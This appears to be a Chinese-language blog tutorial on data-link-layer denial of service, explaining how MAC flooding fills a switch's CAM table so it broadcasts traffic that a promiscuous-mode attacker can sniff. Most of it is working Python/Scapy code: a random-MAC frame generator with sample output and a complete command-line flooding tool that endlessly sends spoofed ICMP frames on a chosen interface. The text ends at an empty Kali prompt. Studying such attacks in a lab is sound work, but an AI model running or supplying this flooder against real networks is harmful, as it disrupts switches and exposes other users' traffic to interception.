DoS:数据链路层DoS用例
DoS(Denial of Services, DoS)拒绝服务攻击使计算机或网络无法提供正常的服务,是黑客常用的攻击手段之一。常见的DoS攻击包括计算机网络带宽攻击和连通性攻击两种类型。常用的拒绝服务攻击手段包括:同步洪流、WinNuke、死亡之PING、Echl攻击、ICMP/SMURF、Finger炸弹、Land攻击、Ping洪流、Rwhod、tearDrop、TARGA3、UDP攻击、OOB等。黑客可能利用TCP/IP协议层中的数据链路层、网络层、传输层和应用层各种协议漏洞发起拒绝服务攻击。
数据链路层DoS
数据链路层中拒绝服务攻击的方式一般很少为人所熟知。数据链路层拒绝服务攻击的主要目标为二层交换机。数据链路层的拒绝服务攻击就是通过伪造请求主机的MAC地址信息,使得交换机内部CAM短时间填满,失去交换机本身的记忆功能,退化成集线器,当接收到正常数据包时,会将全部数据以广播的形式发送出去,此时若攻击者将自己的主机设置为混杂模式,就可以监听网络中的其他主机接收的数据了。
实验环境:
OS: macOS Monterey Version 12.3.1(英文版)
OS: Linux kali 5.10.0
IDE: PyCharm 2020.1
功能演示:
1)构造随机的MAC地址
利用Scapy自带的库函数RandMAC()
代码如下:
from scapy.all import *
import time
while(1):
packet = Ether(src=RandMAC(), dst=RandMAC())
time.sleep(1)
print(packet.summary())
结果如下:
(venv) (base) liuxiaowei@MacBookAir 数据链路层DoS % python3 macof.py
e7:01:d5:83:97:db > fb:13:5f:e7:8c:69 (0x9000)
01:81:43:3f:cc:80 > cb:1d:9b:f8:38:c2 (0x9000)
16:81:bc:52:09:f5 > 8d:be:18:61:2d:e5 (0x9000)
63:c1:a2:c9:af:d4 > a8:1f:89:46:16:ec (0x9000)
c8:c8:9c:5e:23:ad > 1a:0d:6f:87:71:e5 (0x9000)
e8:9e:e1:ea:65:b8 > 67:36:89:26:96:74 (0x9000)
58:51:09:6d:27:4c > bc:1e:2b:31:37:f1 (0x9000)
2f:d4:82:c6:d1:51 > 7d:a7:69:56:ee:90 (0x9000)
9a:dc:ea:56:42:6c > 6a:52:59:94:cd:48 (0x9000)
10:ae:b1:f9:05:6b > b8:47:6e:62:92:de (0x9000)
............
2) ICMP数据包为例
当路由器接收到包含随机生成的IP地址和MAC地址的数据包时,交换机查询CAM,若不存在该信息,就会不断进行记录。短时间内,大量请求会导致CAM被填满,失去交换机原有的功能。
示例代码如下:
from scapy.all import *
import optparse
def attack(interface):
pkt = Ether(src=RandMAC(), dst=RandMAC())/IP(src=RandIP(), dst=RandIP())/ICMP()
sendp(pkt, iface=interface)
def main():
parser = optparse.OptionParser('%prog ' + '-i interface')
parser.add_option('-i', dest='interface', default='eth0', type='string', help='Interface')
(options, args) = parser.parse_args()
interface = options.interface
try:
while True:
attack(interface)
except KeyboardInterrupt:
print('-------------------')
print('Finished!')
if __name__ == '__main__':
main()
在kali系统命令行执行如下命令:
┌──(root💀kali)-[~/Desktop]
└─
运行结果如下图:
|